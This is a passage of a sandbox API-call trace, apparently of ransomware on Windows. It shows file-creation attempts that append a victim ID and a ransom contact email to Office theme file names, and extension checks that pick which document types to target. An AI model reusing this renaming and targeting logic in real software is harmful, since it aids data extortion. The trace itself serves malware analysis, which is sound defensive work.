lpNewFilePointer=0x0) returned 1 [0274.529] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.956] CloseHandle (hObject=0x1154) returned 1 [0274.961] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.962] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.962] CloseHandle (hObject=0x1154) returned 1 [0274.963] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.963] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.963] CloseHandle (hObject=0x1154) returned 1 [0274.964] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.964] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.964] CloseHandle (hObject=0x1154) returned 1 [0274.965] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.965] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.965] CloseHandle (hObject=0x1154) returned 1 [0274.966] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.966] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.966] CloseHandle (hObject=0x1154) returned 1 [0274.968] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.968] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.968] CloseHandle (hObject=0x1154) returned 1 [0274.968] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.969] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.969] CloseHandle (hObject=0x1154) returned 1 [0274.969] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.970] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.970] CloseHandle (hObject=0x1154) returned 1 [0274.971] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.971] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.971] CloseHandle (hObject=0x1154) returned 1 [0274.972] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.972] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.972] CloseHandle (hObject=0x1154) returned 1 [0274.973] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.973] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.973] CloseHandle (hObject=0x1154) returned 1 [0274.974] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.974] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.974] CloseHandle (hObject=0x1154) returned 1 [0274.975] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.975] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.975] CloseHandle (hObject=0x1154) returned 1 [0274.976] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.976] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.976] CloseHandle (hObject=0x1154) returned 1 [0274.977] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.977] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.977] CloseHandle (hObject=0x1154) returned 1 [0274.978] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.978] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.978] CloseHandle (hObject=0x1154) returned 1 [0274.979] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.979] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.980] CloseHandle (hObject=0x1154) returned 1 [0274.981] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.981] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.981] CloseHandle (hObject=0x1154) returned 1 [0274.982] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.982] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.983] CloseHandle (hObject=0x1154) returned 1 [0274.983] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.983] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.984] CloseHandle (hObject=0x1154) returned 1 [0274.985] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.985] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\THMBNAIL.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\thmbnail.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.985] CloseHandle (hObject=0x1154) returned 1 [0274.986] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.986] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\preview.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.986] CloseHandle (hObject=0x1154) returned 1 [0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.987] lstrlenW (lpString=".doc") returned 4 [0274.987] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0274.987] lstrlenW (lpString=".docx") returned 5 [0274.987] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0274.987] lstrlenW (lpString=".pdf") returned 4 [0274.987] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0274.987] lstrlenW (lpString=".xls") returned 4 [0274.987] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0274.987] lstrlenW (lpString=".xlsx") returned 5 [0274.987] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0274.987] lstrlenW (lpString=".ppt") returned 4 [0274.987] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0274.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.987] lstrlenW (lpString=".zip") returned 4 [0274.987] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0274.987] lstrlenW (lpString=".rar") returned 4 [0274.987] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0274.987] lstrlenW (lpString=".bz2") returned 4 [0274.987] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0274.987] lstrlenW (lpString=".7z") returned 3 [0274.988] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0274.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.988] lstrlenW (lpString=".dbf") returned 4 [0274.988] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0274.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.988] lstrlenW (lpString=".1cd") returned 4 [0274.988] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0274.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.988] lstrlenW (lpString=".jpg") returned 4 [0274.988] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0274.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.988] lstrlenW (lpString=".doc") returned 4 [0274.988] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0274.988] lstrlenW (lpString=".docx") returned 5 [0274.988] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0274.988] lstrlenW (lpString=".pdf") returned 4 [0274.988] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0274.988] lstrlenW (lpString=".xls") returned 4 [0274.988] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0274.988] lstrlenW (lpString=".xlsx") returned 5 [0274.988] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0274.988] lstrlenW (lpString=".ppt") returned 4 [0274.988] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0274.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.988] lstrlenW (lpString=".zip") returned 4 [0274.988] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0274.989] lstrlenW (lpString=".rar") returned 4 [0274.989] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0274.989] lstrlenW (lpString=".bz2") returned 4 [0274.989] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0274.989] lstrlenW (lpString=".7z") returned 3 [0274.989] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0274.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.989] lstrlenW (lpString=".dbf") returned 4 [0274.989] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0274.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.989] lstrlenW (lpString=".1cd") returned 4 [0274.989] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0274.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\PREVIEW.GIF") returned 109 [0274.989] lstrlenW (lpString=".jpg") returned 4 [0274.989] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0274.989] lstrcmpiW (lpString1=".PNG", lpString2=".com") returned 1 [0274.989] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0274.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1154 [0274.990] GetFileSizeEx (in: hFile=0x1154, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=21812) returned 1 